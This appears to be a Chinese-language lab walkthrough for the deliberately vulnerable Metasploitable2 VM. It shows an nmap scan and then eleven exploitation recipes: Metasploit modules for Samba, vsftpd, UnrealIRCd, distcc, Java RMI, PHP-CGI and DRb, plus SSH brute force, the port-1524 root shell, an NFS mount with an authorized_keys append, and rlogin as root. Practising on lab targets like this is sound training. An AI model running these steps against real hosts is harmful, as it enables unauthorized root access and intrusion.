1.介绍
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only,本镜像一定不要暴漏在一个易受攻击的网络中。
2.信息收集
nmap -sC -sV -p1-65535 192.168.27.130
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.27.131
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2021-08-05T11:36:31+00:00; -23s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC2_128_CBC_WITH_MD5
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 39790/udp mountd
| 100005 1,2,3 45853/tcp mountd
| 100021 1,3,4 39894/tcp nlockmgr
| 100021 1,3,4 60786/udp nlockmgr
| 100024 1 43990/udp status
|_ 100024 1 55792/tcp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 34
| Capabilities flags: 43564
| Some Capabilities: Support41Auth, LongColumnFlag, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, SupportsTransactions, SupportsCompression, ConnectWithDatabase
| Status: Autocommit
|_ Salt: Xue{\8C(>@fa5#ODGu:`
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-08-05T11:36:31+00:00; -23s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
| irc-info:
| users: 1
| servers: 1
| lusers: 1
| lservers: 0
| server: irc.Metasploitable.LAN
| version: Unreal3.2.8.1. irc.Metasploitable.LAN
| uptime: 0 days, 4:09:34
| source ident: nmap
| source host: 7C0BBA6A.3ED45D4B.FFFA6D49.IP
|_ error: Closing Link: mnwipmpxc[192.168.27.131] (Quit: mnwipmpxc)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
39894/tcp open nlockmgr 1-4 (RPC #100021)
45853/tcp open mountd 1-3 (RPC #100005)
55792/tcp open status 1 (RPC #100024)
55853/tcp open java-rmi GNU Classpath grmiregistry
3.漏洞利用
一、Samba远程Shell命令注入执行漏洞(CVE-2007-2447)
- 产生原因
传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行
- 漏洞利用
search samba
use exploit/multi/samba/usermap_script
set payload
set rhosts
run
二、Vsftpd源码包含后门漏洞
- 产生原因
vsftpd 2.3.4版本被植入了后门代码,远程攻击者可利用这个问题控制受影响系统。当用户名以“: )”结尾时,服务器就会在6200端口监听,并且能够执行任意代码。
- 漏洞利用
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOST
exploit
三、UnreallRCd后门漏洞
- 产生原因
在 2009 年 11 月到 2010 年 6 月间分布于某些镜面站点的 UNreallRCd,在 DEBUG3_DOLOG_SYSTEM 宏中包含外部引入的恶意代码
影响系统/软件:Unreal UnreallRCd3.2.8.1
- 漏洞利用
search unreal ircd
use exploit/unix/irc/unre ircd 3281backdoor
show options
set RHOST
exploit
四、Java RMI SERVER命令执行漏洞(CVE-2017-3241 )
- 产生原因
RMI是REMOTE METHODINVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。
Java rmi远程调用如下:
- 客户对象调用客户端辅助对象上的方法
- 客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象
- 服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象
- 调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象
- 服务端辅助对象将结果打包,发送给客户端辅助对象
- 客户端辅助对象将返回值解包,返回给客户对象
- 客户对象获得返回值
1099端口是Java RMI的默认端口,RMI默认使用序列化来完成所有的交互,所以这是非常常见的漏洞。如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。
- 漏洞利用
search java_rmi_server
use exploit/multi/misc/java_rmi_server
show options
set RHOST
exploit
五、SSH爆破
- 产生原因
- 漏洞利用
search search ssh_login
use auxiliary/scanner/ssh/ssh_login
show options
set RHOST
exploit
六、Distcc后门漏洞
- 产生原因
Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode1.5版本及其他版本的distcc2.x版本配置对于服务器端口的访问不限制。
影响系统/软件: distcc 2.x
- 漏洞利用
serach distcc
use exploit/unix/misc/distcc_exec
show options
set RHOST
exploit
七、Ingreslock后门漏洞
- 产生原因
Ingreslock后门程序监听1524端口,连接到1524端口就可以直接获取root权限。
- 漏洞利用
telnet RHOST 1524
八、PHP CGI参数注入执行漏洞
- 产生原因
用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。
所以,Apache服务器按要求实现了这个功能。
apache在解析.php文件时会把接收到的url参数通过mod_cgi模块交给后端的php-cgi处理,而传递过程中未对参数进行过滤,导致php-cgi会把用户输入当作php参数执行
影响版本: php < 5.3.12 php < 5.4.2
- 漏洞利用
use exploit/multi/http/php_cgi_arg_injection
show options
set RHOST
exploit
九、Druby远程代码执行漏洞
- 产生原因
Druby配置不当,被滥用执行命令
影响系统/软件:Ruby 1.8
- 漏洞利用
search drb
use exploit/linux/misc/drb_remote_codeexec
show options
set RHOST
exploit
十、Linux NFS共享目录配置漏洞
- 产生原因
NFS 服务配置漏洞,赋予了根目录远程可写权限,导致/root/.ssh/authorized_keys可被修改,实现远程ssh无密码登陆。
影响系统/软件:所有Linux系统的NFS服务
- 漏洞利用
rpcinfo -p 192.168.127.135 #查看nfs服务有无开启
showmount -e 192.168.127.135 #查看其设置的远程共享目录列表
#在攻击者的系统上创建一个新的SSH秘钥,挂载NFS接口,然后把我们的秘钥添加到root使用者账号的认证秘钥文件里
ssh-keygen #生成rsa公钥
mkdir /tmp/t00l
mount –t nfs 192.168.127.135:/ /tmp/t00l #把192.168.127.135的根目录挂载到/tmp/t00l/下
cat /root/.ssh/id_rsa.pub >> /tmp/t00l/root/.ssh/authorized_keys #把生成的公钥追加到靶机的authorized_keys下
sshroot@192.168.127.135 #实现无密码登陆
十一、Rlogin 后门漏洞
- 产生原因
- TCP端口512,513和514为著名的rlogin提供服务。
- 在系统之后被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts+)。
- 要利用这个配置,确保rsh客户端已经按照(在linux操作系统上安装Open ssh),然后以root权限允许下列命令,
- 如果被提示需要一个SSH秘钥,这表示RSH客户端没有安装,ubuntu一般默认使用SSH(Debin GNU/Linux 也是如此)
- 漏洞利用
rlogin -l root 目标IP地址 使用最高权限登录